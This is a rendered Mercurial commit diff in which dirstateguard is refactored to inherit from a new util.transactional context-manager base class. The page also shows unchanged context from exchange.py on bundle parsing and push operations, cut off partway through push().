##// END OF EJS Templates
util: add base class for transactional context managers...
Martin von Zweigbergk -
r33790:bbbbd3c3 default
parent child Browse files
Show More
@@ -1,78 +1,69 b''
1 # dirstateguard.py - class to allow restoring dirstate after failure
1 # dirstateguard.py - class to allow restoring dirstate after failure
2 #
2 #
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 from .i18n import _
10 from .i18n import _
11
11
12 from . import (
12 from . import (
13 error,
13 error,
14 util,
14 )
15 )
15
16
16 class dirstateguard(object):
17 class dirstateguard(util.transactional):
17 '''Restore dirstate at unexpected failure.
18 '''Restore dirstate at unexpected failure.
18
19
19 At the construction, this class does:
20 At the construction, this class does:
20
21
21 - write current ``repo.dirstate`` out, and
22 - write current ``repo.dirstate`` out, and
22 - save ``.hg/dirstate`` into the backup file
23 - save ``.hg/dirstate`` into the backup file
23
24
24 This restores ``.hg/dirstate`` from backup file, if ``release()``
25 This restores ``.hg/dirstate`` from backup file, if ``release()``
25 is invoked before ``close()``.
26 is invoked before ``close()``.
26
27
27 This just removes the backup file at ``close()`` before ``release()``.
28 This just removes the backup file at ``close()`` before ``release()``.
28 '''
29 '''
29
30
30 def __init__(self, repo, name):
31 def __init__(self, repo, name):
31 self._repo = repo
32 self._repo = repo
32 self._active = False
33 self._active = False
33 self._closed = False
34 self._closed = False
34 self._backupname = 'dirstate.backup.%s.%d' % (name, id(self))
35 self._backupname = 'dirstate.backup.%s.%d' % (name, id(self))
35 repo.dirstate.savebackup(repo.currenttransaction(), self._backupname)
36 repo.dirstate.savebackup(repo.currenttransaction(), self._backupname)
36 self._active = True
37 self._active = True
37
38
38 def __del__(self):
39 def __del__(self):
39 if self._active: # still active
40 if self._active: # still active
40 # this may occur, even if this class is used correctly:
41 # this may occur, even if this class is used correctly:
41 # for example, releasing other resources like transaction
42 # for example, releasing other resources like transaction
42 # may raise exception before ``dirstateguard.release`` in
43 # may raise exception before ``dirstateguard.release`` in
43 # ``release(tr, ....)``.
44 # ``release(tr, ....)``.
44 self._abort()
45 self._abort()
45
46
46 def __enter__(self):
47 return self
48
49 def __exit__(self, exc_type, exc_val, exc_tb):
50 try:
51 if exc_type is None:
52 self.close()
53 finally:
54 self.release()
55
56 def close(self):
47 def close(self):
57 if not self._active: # already inactivated
48 if not self._active: # already inactivated
58 msg = (_("can't close already inactivated backup: %s")
49 msg = (_("can't close already inactivated backup: %s")
59 % self._backupname)
50 % self._backupname)
60 raise error.Abort(msg)
51 raise error.Abort(msg)
61
52
62 self._repo.dirstate.clearbackup(self._repo.currenttransaction(),
53 self._repo.dirstate.clearbackup(self._repo.currenttransaction(),
63 self._backupname)
54 self._backupname)
64 self._active = False
55 self._active = False
65 self._closed = True
56 self._closed = True
66
57
67 def _abort(self):
58 def _abort(self):
68 self._repo.dirstate.restorebackup(self._repo.currenttransaction(),
59 self._repo.dirstate.restorebackup(self._repo.currenttransaction(),
69 self._backupname)
60 self._backupname)
70 self._active = False
61 self._active = False
71
62
72 def release(self):
63 def release(self):
73 if not self._closed:
64 if not self._closed:
74 if not self._active: # already inactivated
65 if not self._active: # already inactivated
75 msg = (_("can't release already inactivated backup: %s")
66 msg = (_("can't release already inactivated backup: %s")
76 % self._backupname)
67 % self._backupname)
77 raise error.Abort(msg)
68 raise error.Abort(msg)
78 self._abort()
69 self._abort()
@@ -1,2009 +1,2009 b''
1 # exchange.py - utility to exchange data between repos.
1 # exchange.py - utility to exchange data between repos.
2 #
2 #
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import errno
10 import errno
11 import hashlib
11 import hashlib
12
12
13 from .i18n import _
13 from .i18n import _
14 from .node import (
14 from .node import (
15 hex,
15 hex,
16 nullid,
16 nullid,
17 )
17 )
18 from . import (
18 from . import (
19 bookmarks as bookmod,
19 bookmarks as bookmod,
20 bundle2,
20 bundle2,
21 changegroup,
21 changegroup,
22 discovery,
22 discovery,
23 error,
23 error,
24 lock as lockmod,
24 lock as lockmod,
25 obsolete,
25 obsolete,
26 phases,
26 phases,
27 pushkey,
27 pushkey,
28 pycompat,
28 pycompat,
29 scmutil,
29 scmutil,
30 sslutil,
30 sslutil,
31 streamclone,
31 streamclone,
32 url as urlmod,
32 url as urlmod,
33 util,
33 util,
34 )
34 )
35
35
36 urlerr = util.urlerr
36 urlerr = util.urlerr
37 urlreq = util.urlreq
37 urlreq = util.urlreq
38
38
39 # Maps bundle version human names to changegroup versions.
39 # Maps bundle version human names to changegroup versions.
40 _bundlespeccgversions = {'v1': '01',
40 _bundlespeccgversions = {'v1': '01',
41 'v2': '02',
41 'v2': '02',
42 'packed1': 's1',
42 'packed1': 's1',
43 'bundle2': '02', #legacy
43 'bundle2': '02', #legacy
44 }
44 }
45
45
46 # Compression engines allowed in version 1. THIS SHOULD NEVER CHANGE.
46 # Compression engines allowed in version 1. THIS SHOULD NEVER CHANGE.
47 _bundlespecv1compengines = {'gzip', 'bzip2', 'none'}
47 _bundlespecv1compengines = {'gzip', 'bzip2', 'none'}
48
48
49 def parsebundlespec(repo, spec, strict=True, externalnames=False):
49 def parsebundlespec(repo, spec, strict=True, externalnames=False):
50 """Parse a bundle string specification into parts.
50 """Parse a bundle string specification into parts.
51
51
52 Bundle specifications denote a well-defined bundle/exchange format.
52 Bundle specifications denote a well-defined bundle/exchange format.
53 The content of a given specification should not change over time in
53 The content of a given specification should not change over time in
54 order to ensure that bundles produced by a newer version of Mercurial are
54 order to ensure that bundles produced by a newer version of Mercurial are
55 readable from an older version.
55 readable from an older version.
56
56
57 The string currently has the form:
57 The string currently has the form:
58
58
59 <compression>-<type>[;<parameter0>[;<parameter1>]]
59 <compression>-<type>[;<parameter0>[;<parameter1>]]
60
60
61 Where <compression> is one of the supported compression formats
61 Where <compression> is one of the supported compression formats
62 and <type> is (currently) a version string. A ";" can follow the type and
62 and <type> is (currently) a version string. A ";" can follow the type and
63 all text afterwards is interpreted as URI encoded, ";" delimited key=value
63 all text afterwards is interpreted as URI encoded, ";" delimited key=value
64 pairs.
64 pairs.
65
65
66 If ``strict`` is True (the default) <compression> is required. Otherwise,
66 If ``strict`` is True (the default) <compression> is required. Otherwise,
67 it is optional.
67 it is optional.
68
68
69 If ``externalnames`` is False (the default), the human-centric names will
69 If ``externalnames`` is False (the default), the human-centric names will
70 be converted to their internal representation.
70 be converted to their internal representation.
71
71
72 Returns a 3-tuple of (compression, version, parameters). Compression will
72 Returns a 3-tuple of (compression, version, parameters). Compression will
73 be ``None`` if not in strict mode and a compression isn't defined.
73 be ``None`` if not in strict mode and a compression isn't defined.
74
74
75 An ``InvalidBundleSpecification`` is raised when the specification is
75 An ``InvalidBundleSpecification`` is raised when the specification is
76 not syntactically well formed.
76 not syntactically well formed.
77
77
78 An ``UnsupportedBundleSpecification`` is raised when the compression or
78 An ``UnsupportedBundleSpecification`` is raised when the compression or
79 bundle type/version is not recognized.
79 bundle type/version is not recognized.
80
80
81 Note: this function will likely eventually return a more complex data
81 Note: this function will likely eventually return a more complex data
82 structure, including bundle2 part information.
82 structure, including bundle2 part information.
83 """
83 """
84 def parseparams(s):
84 def parseparams(s):
85 if ';' not in s:
85 if ';' not in s:
86 return s, {}
86 return s, {}
87
87
88 params = {}
88 params = {}
89 version, paramstr = s.split(';', 1)
89 version, paramstr = s.split(';', 1)
90
90
91 for p in paramstr.split(';'):
91 for p in paramstr.split(';'):
92 if '=' not in p:
92 if '=' not in p:
93 raise error.InvalidBundleSpecification(
93 raise error.InvalidBundleSpecification(
94 _('invalid bundle specification: '
94 _('invalid bundle specification: '
95 'missing "=" in parameter: %s') % p)
95 'missing "=" in parameter: %s') % p)
96
96
97 key, value = p.split('=', 1)
97 key, value = p.split('=', 1)
98 key = urlreq.unquote(key)
98 key = urlreq.unquote(key)
99 value = urlreq.unquote(value)
99 value = urlreq.unquote(value)
100 params[key] = value
100 params[key] = value
101
101
102 return version, params
102 return version, params
103
103
104
104
105 if strict and '-' not in spec:
105 if strict and '-' not in spec:
106 raise error.InvalidBundleSpecification(
106 raise error.InvalidBundleSpecification(
107 _('invalid bundle specification; '
107 _('invalid bundle specification; '
108 'must be prefixed with compression: %s') % spec)
108 'must be prefixed with compression: %s') % spec)
109
109
110 if '-' in spec:
110 if '-' in spec:
111 compression, version = spec.split('-', 1)
111 compression, version = spec.split('-', 1)
112
112
113 if compression not in util.compengines.supportedbundlenames:
113 if compression not in util.compengines.supportedbundlenames:
114 raise error.UnsupportedBundleSpecification(
114 raise error.UnsupportedBundleSpecification(
115 _('%s compression is not supported') % compression)
115 _('%s compression is not supported') % compression)
116
116
117 version, params = parseparams(version)
117 version, params = parseparams(version)
118
118
119 if version not in _bundlespeccgversions:
119 if version not in _bundlespeccgversions:
120 raise error.UnsupportedBundleSpecification(
120 raise error.UnsupportedBundleSpecification(
121 _('%s is not a recognized bundle version') % version)
121 _('%s is not a recognized bundle version') % version)
122 else:
122 else:
123 # Value could be just the compression or just the version, in which
123 # Value could be just the compression or just the version, in which
124 # case some defaults are assumed (but only when not in strict mode).
124 # case some defaults are assumed (but only when not in strict mode).
125 assert not strict
125 assert not strict
126
126
127 spec, params = parseparams(spec)
127 spec, params = parseparams(spec)
128
128
129 if spec in util.compengines.supportedbundlenames:
129 if spec in util.compengines.supportedbundlenames:
130 compression = spec
130 compression = spec
131 version = 'v1'
131 version = 'v1'
132 # Generaldelta repos require v2.
132 # Generaldelta repos require v2.
133 if 'generaldelta' in repo.requirements:
133 if 'generaldelta' in repo.requirements:
134 version = 'v2'
134 version = 'v2'
135 # Modern compression engines require v2.
135 # Modern compression engines require v2.
136 if compression not in _bundlespecv1compengines:
136 if compression not in _bundlespecv1compengines:
137 version = 'v2'
137 version = 'v2'
138 elif spec in _bundlespeccgversions:
138 elif spec in _bundlespeccgversions:
139 if spec == 'packed1':
139 if spec == 'packed1':
140 compression = 'none'
140 compression = 'none'
141 else:
141 else:
142 compression = 'bzip2'
142 compression = 'bzip2'
143 version = spec
143 version = spec
144 else:
144 else:
145 raise error.UnsupportedBundleSpecification(
145 raise error.UnsupportedBundleSpecification(
146 _('%s is not a recognized bundle specification') % spec)
146 _('%s is not a recognized bundle specification') % spec)
147
147
148 # Bundle version 1 only supports a known set of compression engines.
148 # Bundle version 1 only supports a known set of compression engines.
149 if version == 'v1' and compression not in _bundlespecv1compengines:
149 if version == 'v1' and compression not in _bundlespecv1compengines:
150 raise error.UnsupportedBundleSpecification(
150 raise error.UnsupportedBundleSpecification(
151 _('compression engine %s is not supported on v1 bundles') %
151 _('compression engine %s is not supported on v1 bundles') %
152 compression)
152 compression)
153
153
154 # The specification for packed1 can optionally declare the data formats
154 # The specification for packed1 can optionally declare the data formats
155 # required to apply it. If we see this metadata, compare against what the
155 # required to apply it. If we see this metadata, compare against what the
156 # repo supports and error if the bundle isn't compatible.
156 # repo supports and error if the bundle isn't compatible.
157 if version == 'packed1' and 'requirements' in params:
157 if version == 'packed1' and 'requirements' in params:
158 requirements = set(params['requirements'].split(','))
158 requirements = set(params['requirements'].split(','))
159 missingreqs = requirements - repo.supportedformats
159 missingreqs = requirements - repo.supportedformats
160 if missingreqs:
160 if missingreqs:
161 raise error.UnsupportedBundleSpecification(
161 raise error.UnsupportedBundleSpecification(
162 _('missing support for repository features: %s') %
162 _('missing support for repository features: %s') %
163 ', '.join(sorted(missingreqs)))
163 ', '.join(sorted(missingreqs)))
164
164
165 if not externalnames:
165 if not externalnames:
166 engine = util.compengines.forbundlename(compression)
166 engine = util.compengines.forbundlename(compression)
167 compression = engine.bundletype()[1]
167 compression = engine.bundletype()[1]
168 version = _bundlespeccgversions[version]
168 version = _bundlespeccgversions[version]
169 return compression, version, params
169 return compression, version, params
170
170
171 def readbundle(ui, fh, fname, vfs=None):
171 def readbundle(ui, fh, fname, vfs=None):
172 header = changegroup.readexactly(fh, 4)
172 header = changegroup.readexactly(fh, 4)
173
173
174 alg = None
174 alg = None
175 if not fname:
175 if not fname:
176 fname = "stream"
176 fname = "stream"
177 if not header.startswith('HG') and header.startswith('\0'):
177 if not header.startswith('HG') and header.startswith('\0'):
178 fh = changegroup.headerlessfixup(fh, header)
178 fh = changegroup.headerlessfixup(fh, header)
179 header = "HG10"
179 header = "HG10"
180 alg = 'UN'
180 alg = 'UN'
181 elif vfs:
181 elif vfs:
182 fname = vfs.join(fname)
182 fname = vfs.join(fname)
183
183
184 magic, version = header[0:2], header[2:4]
184 magic, version = header[0:2], header[2:4]
185
185
186 if magic != 'HG':
186 if magic != 'HG':
187 raise error.Abort(_('%s: not a Mercurial bundle') % fname)
187 raise error.Abort(_('%s: not a Mercurial bundle') % fname)
188 if version == '10':
188 if version == '10':
189 if alg is None:
189 if alg is None:
190 alg = changegroup.readexactly(fh, 2)
190 alg = changegroup.readexactly(fh, 2)
191 return changegroup.cg1unpacker(fh, alg)
191 return changegroup.cg1unpacker(fh, alg)
192 elif version.startswith('2'):
192 elif version.startswith('2'):
193 return bundle2.getunbundler(ui, fh, magicstring=magic + version)
193 return bundle2.getunbundler(ui, fh, magicstring=magic + version)
194 elif version == 'S1':
194 elif version == 'S1':
195 return streamclone.streamcloneapplier(fh)
195 return streamclone.streamcloneapplier(fh)
196 else:
196 else:
197 raise error.Abort(_('%s: unknown bundle version %s') % (fname, version))
197 raise error.Abort(_('%s: unknown bundle version %s') % (fname, version))
198
198
199 def getbundlespec(ui, fh):
199 def getbundlespec(ui, fh):
200 """Infer the bundlespec from a bundle file handle.
200 """Infer the bundlespec from a bundle file handle.
201
201
202 The input file handle is seeked and the original seek position is not
202 The input file handle is seeked and the original seek position is not
203 restored.
203 restored.
204 """
204 """
205 def speccompression(alg):
205 def speccompression(alg):
206 try:
206 try:
207 return util.compengines.forbundletype(alg).bundletype()[0]
207 return util.compengines.forbundletype(alg).bundletype()[0]
208 except KeyError:
208 except KeyError:
209 return None
209 return None
210
210
211 b = readbundle(ui, fh, None)
211 b = readbundle(ui, fh, None)
212 if isinstance(b, changegroup.cg1unpacker):
212 if isinstance(b, changegroup.cg1unpacker):
213 alg = b._type
213 alg = b._type
214 if alg == '_truncatedBZ':
214 if alg == '_truncatedBZ':
215 alg = 'BZ'
215 alg = 'BZ'
216 comp = speccompression(alg)
216 comp = speccompression(alg)
217 if not comp:
217 if not comp:
218 raise error.Abort(_('unknown compression algorithm: %s') % alg)
218 raise error.Abort(_('unknown compression algorithm: %s') % alg)
219 return '%s-v1' % comp
219 return '%s-v1' % comp
220 elif isinstance(b, bundle2.unbundle20):
220 elif isinstance(b, bundle2.unbundle20):
221 if 'Compression' in b.params:
221 if 'Compression' in b.params:
222 comp = speccompression(b.params['Compression'])
222 comp = speccompression(b.params['Compression'])
223 if not comp:
223 if not comp:
224 raise error.Abort(_('unknown compression algorithm: %s') % comp)
224 raise error.Abort(_('unknown compression algorithm: %s') % comp)
225 else:
225 else:
226 comp = 'none'
226 comp = 'none'
227
227
228 version = None
228 version = None
229 for part in b.iterparts():
229 for part in b.iterparts():
230 if part.type == 'changegroup':
230 if part.type == 'changegroup':
231 version = part.params['version']
231 version = part.params['version']
232 if version in ('01', '02'):
232 if version in ('01', '02'):
233 version = 'v2'
233 version = 'v2'
234 else:
234 else:
235 raise error.Abort(_('changegroup version %s does not have '
235 raise error.Abort(_('changegroup version %s does not have '
236 'a known bundlespec') % version,
236 'a known bundlespec') % version,
237 hint=_('try upgrading your Mercurial '
237 hint=_('try upgrading your Mercurial '
238 'client'))
238 'client'))
239
239
240 if not version:
240 if not version:
241 raise error.Abort(_('could not identify changegroup version in '
241 raise error.Abort(_('could not identify changegroup version in '
242 'bundle'))
242 'bundle'))
243
243
244 return '%s-%s' % (comp, version)
244 return '%s-%s' % (comp, version)
245 elif isinstance(b, streamclone.streamcloneapplier):
245 elif isinstance(b, streamclone.streamcloneapplier):
246 requirements = streamclone.readbundle1header(fh)[2]
246 requirements = streamclone.readbundle1header(fh)[2]
247 params = 'requirements=%s' % ','.join(sorted(requirements))
247 params = 'requirements=%s' % ','.join(sorted(requirements))
248 return 'none-packed1;%s' % urlreq.quote(params)
248 return 'none-packed1;%s' % urlreq.quote(params)
249 else:
249 else:
250 raise error.Abort(_('unknown bundle type: %s') % b)
250 raise error.Abort(_('unknown bundle type: %s') % b)
251
251
252 def _computeoutgoing(repo, heads, common):
252 def _computeoutgoing(repo, heads, common):
253 """Computes which revs are outgoing given a set of common
253 """Computes which revs are outgoing given a set of common
254 and a set of heads.
254 and a set of heads.
255
255
256 This is a separate function so extensions can have access to
256 This is a separate function so extensions can have access to
257 the logic.
257 the logic.
258
258
259 Returns a discovery.outgoing object.
259 Returns a discovery.outgoing object.
260 """
260 """
261 cl = repo.changelog
261 cl = repo.changelog
262 if common:
262 if common:
263 hasnode = cl.hasnode
263 hasnode = cl.hasnode
264 common = [n for n in common if hasnode(n)]
264 common = [n for n in common if hasnode(n)]
265 else:
265 else:
266 common = [nullid]
266 common = [nullid]
267 if not heads:
267 if not heads:
268 heads = cl.heads()
268 heads = cl.heads()
269 return discovery.outgoing(repo, common, heads)
269 return discovery.outgoing(repo, common, heads)
270
270
271 def _forcebundle1(op):
271 def _forcebundle1(op):
272 """return true if a pull/push must use bundle1
272 """return true if a pull/push must use bundle1
273
273
274 This function is used to allow testing of the older bundle version"""
274 This function is used to allow testing of the older bundle version"""
275 ui = op.repo.ui
275 ui = op.repo.ui
276 forcebundle1 = False
276 forcebundle1 = False
277 # The goal is this config is to allow developer to choose the bundle
277 # The goal is this config is to allow developer to choose the bundle
278 # version used during exchanged. This is especially handy during test.
278 # version used during exchanged. This is especially handy during test.
279 # Value is a list of bundle version to be picked from, highest version
279 # Value is a list of bundle version to be picked from, highest version
280 # should be used.
280 # should be used.
281 #
281 #
282 # developer config: devel.legacy.exchange
282 # developer config: devel.legacy.exchange
283 exchange = ui.configlist('devel', 'legacy.exchange')
283 exchange = ui.configlist('devel', 'legacy.exchange')
284 forcebundle1 = 'bundle2' not in exchange and 'bundle1' in exchange
284 forcebundle1 = 'bundle2' not in exchange and 'bundle1' in exchange
285 return forcebundle1 or not op.remote.capable('bundle2')
285 return forcebundle1 or not op.remote.capable('bundle2')
286
286
287 class pushoperation(object):
287 class pushoperation(object):
288 """A object that represent a single push operation
288 """A object that represent a single push operation
289
289
290 Its purpose is to carry push related state and very common operations.
290 Its purpose is to carry push related state and very common operations.
291
291
292 A new pushoperation should be created at the beginning of each push and
292 A new pushoperation should be created at the beginning of each push and
293 discarded afterward.
293 discarded afterward.
294 """
294 """
295
295
296 def __init__(self, repo, remote, force=False, revs=None, newbranch=False,
296 def __init__(self, repo, remote, force=False, revs=None, newbranch=False,
297 bookmarks=()):
297 bookmarks=()):
298 # repo we push from
298 # repo we push from
299 self.repo = repo
299 self.repo = repo
300 self.ui = repo.ui
300 self.ui = repo.ui
301 # repo we push to
301 # repo we push to
302 self.remote = remote
302 self.remote = remote
303 # force option provided
303 # force option provided
304 self.force = force
304 self.force = force
305 # revs to be pushed (None is "all")
305 # revs to be pushed (None is "all")
306 self.revs = revs
306 self.revs = revs
307 # bookmark explicitly pushed
307 # bookmark explicitly pushed
308 self.bookmarks = bookmarks
308 self.bookmarks = bookmarks
309 # allow push of new branch
309 # allow push of new branch
310 self.newbranch = newbranch
310 self.newbranch = newbranch
311 # step already performed
311 # step already performed
312 # (used to check what steps have been already performed through bundle2)
312 # (used to check what steps have been already performed through bundle2)
313 self.stepsdone = set()
313 self.stepsdone = set()
314 # Integer version of the changegroup push result
314 # Integer version of the changegroup push result
315 # - None means nothing to push
315 # - None means nothing to push
316 # - 0 means HTTP error
316 # - 0 means HTTP error
317 # - 1 means we pushed and remote head count is unchanged *or*
317 # - 1 means we pushed and remote head count is unchanged *or*
318 # we have outgoing changesets but refused to push
318 # we have outgoing changesets but refused to push
319 # - other values as described by addchangegroup()
319 # - other values as described by addchangegroup()
320 self.cgresult = None
320 self.cgresult = None
321 # Boolean value for the bookmark push
321 # Boolean value for the bookmark push
322 self.bkresult = None
322 self.bkresult = None
323 # discover.outgoing object (contains common and outgoing data)
323 # discover.outgoing object (contains common and outgoing data)
324 self.outgoing = None
324 self.outgoing = None
325 # all remote topological heads before the push
325 # all remote topological heads before the push
326 self.remoteheads = None
326 self.remoteheads = None
327 # Details of the remote branch pre and post push
327 # Details of the remote branch pre and post push
328 #
328 #
329 # mapping: {'branch': ([remoteheads],
329 # mapping: {'branch': ([remoteheads],
330 # [newheads],
330 # [newheads],
331 # [unsyncedheads],
331 # [unsyncedheads],
332 # [discardedheads])}
332 # [discardedheads])}
333 # - branch: the branch name
333 # - branch: the branch name
334 # - remoteheads: the list of remote heads known locally
334 # - remoteheads: the list of remote heads known locally
335 # None if the branch is new
335 # None if the branch is new
336 # - newheads: the new remote heads (known locally) with outgoing pushed
336 # - newheads: the new remote heads (known locally) with outgoing pushed
337 # - unsyncedheads: the list of remote heads unknown locally.
337 # - unsyncedheads: the list of remote heads unknown locally.
338 # - discardedheads: the list of remote heads made obsolete by the push
338 # - discardedheads: the list of remote heads made obsolete by the push
339 self.pushbranchmap = None
339 self.pushbranchmap = None
340 # testable as a boolean indicating if any nodes are missing locally.
340 # testable as a boolean indicating if any nodes are missing locally.
341 self.incoming = None
341 self.incoming = None
342 # phases changes that must be pushed along side the changesets
342 # phases changes that must be pushed along side the changesets
343 self.outdatedphases = None
343 self.outdatedphases = None
344 # phases changes that must be pushed if changeset push fails
344 # phases changes that must be pushed if changeset push fails
345 self.fallbackoutdatedphases = None
345 self.fallbackoutdatedphases = None
346 # outgoing obsmarkers
346 # outgoing obsmarkers
347 self.outobsmarkers = set()
347 self.outobsmarkers = set()
348 # outgoing bookmarks
348 # outgoing bookmarks
349 self.outbookmarks = []
349 self.outbookmarks = []
350 # transaction manager
350 # transaction manager
351 self.trmanager = None
351 self.trmanager = None
352 # map { pushkey partid -> callback handling failure}
352 # map { pushkey partid -> callback handling failure}
353 # used to handle exception from mandatory pushkey part failure
353 # used to handle exception from mandatory pushkey part failure
354 self.pkfailcb = {}
354 self.pkfailcb = {}
355
355
356 @util.propertycache
356 @util.propertycache
357 def futureheads(self):
357 def futureheads(self):
358 """future remote heads if the changeset push succeeds"""
358 """future remote heads if the changeset push succeeds"""
359 return self.outgoing.missingheads
359 return self.outgoing.missingheads
360
360
361 @util.propertycache
361 @util.propertycache
362 def fallbackheads(self):
362 def fallbackheads(self):
363 """future remote heads if the changeset push fails"""
363 """future remote heads if the changeset push fails"""
364 if self.revs is None:
364 if self.revs is None:
365 # not target to push, all common are relevant
365 # not target to push, all common are relevant
366 return self.outgoing.commonheads
366 return self.outgoing.commonheads
367 unfi = self.repo.unfiltered()
367 unfi = self.repo.unfiltered()
368 # I want cheads = heads(::missingheads and ::commonheads)
368 # I want cheads = heads(::missingheads and ::commonheads)
369 # (missingheads is revs with secret changeset filtered out)
369 # (missingheads is revs with secret changeset filtered out)
370 #
370 #
371 # This can be expressed as:
371 # This can be expressed as:
372 # cheads = ( (missingheads and ::commonheads)
372 # cheads = ( (missingheads and ::commonheads)
373 # + (commonheads and ::missingheads))"
373 # + (commonheads and ::missingheads))"
374 # )
374 # )
375 #
375 #
376 # while trying to push we already computed the following:
376 # while trying to push we already computed the following:
377 # common = (::commonheads)
377 # common = (::commonheads)
378 # missing = ((commonheads::missingheads) - commonheads)
378 # missing = ((commonheads::missingheads) - commonheads)
379 #
379 #
380 # We can pick:
380 # We can pick:
381 # * missingheads part of common (::commonheads)
381 # * missingheads part of common (::commonheads)
382 common = self.outgoing.common
382 common = self.outgoing.common
383 nm = self.repo.changelog.nodemap
383 nm = self.repo.changelog.nodemap
384 cheads = [node for node in self.revs if nm[node] in common]
384 cheads = [node for node in self.revs if nm[node] in common]
385 # and
385 # and
386 # * commonheads parents on missing
386 # * commonheads parents on missing
387 revset = unfi.set('%ln and parents(roots(%ln))',
387 revset = unfi.set('%ln and parents(roots(%ln))',
388 self.outgoing.commonheads,
388 self.outgoing.commonheads,
389 self.outgoing.missing)
389 self.outgoing.missing)
390 cheads.extend(c.node() for c in revset)
390 cheads.extend(c.node() for c in revset)
391 return cheads
391 return cheads
392
392
393 @property
393 @property
394 def commonheads(self):
394 def commonheads(self):
395 """set of all common heads after changeset bundle push"""
395 """set of all common heads after changeset bundle push"""
396 if self.cgresult:
396 if self.cgresult:
397 return self.futureheads
397 return self.futureheads
398 else:
398 else:
399 return self.fallbackheads
399 return self.fallbackheads
400
400
401 # mapping of message used when pushing bookmark
401 # mapping of message used when pushing bookmark
402 bookmsgmap = {'update': (_("updating bookmark %s\n"),
402 bookmsgmap = {'update': (_("updating bookmark %s\n"),
403 _('updating bookmark %s failed!\n')),
403 _('updating bookmark %s failed!\n')),
404 'export': (_("exporting bookmark %s\n"),
404 'export': (_("exporting bookmark %s\n"),
405 _('exporting bookmark %s failed!\n')),
405 _('exporting bookmark %s failed!\n')),
406 'delete': (_("deleting remote bookmark %s\n"),
406 'delete': (_("deleting remote bookmark %s\n"),
407 _('deleting remote bookmark %s failed!\n')),
407 _('deleting remote bookmark %s failed!\n')),
408 }
408 }
409
409
410
410
411 def push(repo, remote, force=False, revs=None, newbranch=False, bookmarks=(),
411 def push(repo, remote, force=False, revs=None, newbranch=False, bookmarks=(),
412 opargs=None):
412 opargs=None):
413 '''Push outgoing changesets (limited by revs) from a local
413 '''Push outgoing changesets (limited by revs) from a local
414 repository to remote. Return an integer:
414 repository to remote. Return an integer:
415 - None means nothing to push
415 - None means nothing to push
416 - 0 means HTTP error
416 - 0 means HTTP error
417 - 1 means we pushed and remote head count is unchanged *or*
417 - 1 means we pushed and remote head count is unchanged *or*
418 we have outgoing changesets but refused to push
418 we have outgoing changesets but refused to push
419 - other values as described by addchangegroup()
419 - other values as described by addchangegroup()
420 '''
420 '''
421 if opargs is None:
421 if opargs is None:
422 opargs = {}
422 opargs = {}
423 pushop = pushoperation(repo, remote, force, revs, newbranch, bookmarks,
423 pushop = pushoperation(repo, remote, force, revs, newbranch, bookmarks,
424 **opargs)
424 **opargs)
425 if pushop.remote.local():
425 if pushop.remote.local():
426 missing = (set(pushop.repo.requirements)
426 missing = (set(pushop.repo.requirements)
427 - pushop.remote.local().supported)
427 - pushop.remote.local().supported)
428 if missing:
428 if missing:
429 msg = _("required features are not"
429 msg = _("required features are not"
430 " supported in the destination:"
430 " supported in the destination:"
431 " %s") % (', '.join(sorted(missing)))
431 " %s") % (', '.join(sorted(missing)))
432 raise error.Abort(msg)
432 raise error.Abort(msg)
433
433
434 if not pushop.remote.canpush():
434 if not pushop.remote.canpush():
435 raise error.Abort(_("destination does not support push"))
435 raise error.Abort(_("destination does not support push"))
436
436
437 if not pushop.remote.capable('unbundle'):
437 if not pushop.remote.capable('unbundle'):
438 raise error.Abort(_('cannot push: destination does not support the '
438 raise error.Abort(_('cannot push: destination does not support the '
439 'unbundle wire protocol command'))
439 'unbundle wire protocol command'))
440
440
441 # get lock as we might write phase data
441 # get lock as we might write phase data
442 wlock = lock = None
442 wlock = lock = None
443 try:
443 try:
444 # bundle2 push may receive a reply bundle touching bookmarks or other
444 # bundle2 push may receive a reply bundle touching bookmarks or other
445 # things requiring the wlock. Take it now to ensure proper ordering.
445 # things requiring the wlock. Take it now to ensure proper ordering.
446 maypushback = pushop.ui.configbool('experimental', 'bundle2.pushback')
446 maypushback = pushop.ui.configbool('experimental', 'bundle2.pushback')
447 if (not _forcebundle1(pushop)) and maypushback:
447 if (not _forcebundle1(pushop)) and maypushback:
448 wlock = pushop.repo.wlock()
448 wlock = pushop.repo.wlock()
449 lock = pushop.repo.lock()
449 lock = pushop.repo.lock()
450 pushop.trmanager = transactionmanager(pushop.repo,
450 pushop.trmanager = transactionmanager(pushop.repo,
451 'push-response',
451 'push-response',
452 pushop.remote.url())
452 pushop.remote.url())
453 except IOError as err:
453 except IOError as err:
454 if err.errno != errno.EACCES:
454 if err.errno != errno.EACCES:
455 raise
455 raise
456 # source repo cannot be locked.
456 # source repo cannot be locked.
457 # We do not abort the push, but just disable the local phase
457 # We do not abort the push, but just disable the local phase
458 # synchronisation.
458 # synchronisation.
459 msg = 'cannot lock source repository: %s\n' % err
459 msg = 'cannot lock source repository: %s\n' % err
460 pushop.ui.debug(msg)
460 pushop.ui.debug(msg)
461
461
462 try:
462 try:
463 pushop.repo.checkpush(pushop)
463 pushop.repo.checkpush(pushop)
464 _pushdiscovery(pushop)
464 _pushdiscovery(pushop)
465 if not _forcebundle1(pushop):
465 if not _forcebundle1(pushop):
466 _pushbundle2(pushop)
466 _pushbundle2(pushop)
467 _pushchangeset(pushop)
467 _pushchangeset(pushop)
468 _pushsyncphase(pushop)
468 _pushsyncphase(pushop)
469 _pushobsolete(pushop)
469 _pushobsolete(pushop)
470 _pushbookmark(pushop)
470 _pushbookmark(pushop)
471
471
472 if pushop.trmanager:
472 if pushop.trmanager:
473 pushop.trmanager.close()
473 pushop.trmanager.close()
474 finally:
474 finally:
475 if pushop.trmanager:
475 if pushop.trmanager:
476 pushop.trmanager.release()
476 pushop.trmanager.release()
477 if lock is not None:
477 if lock is not None:
478 lock.release()
478 lock.release()
479 if wlock is not None:
479 if wlock is not None:
480 wlock.release()
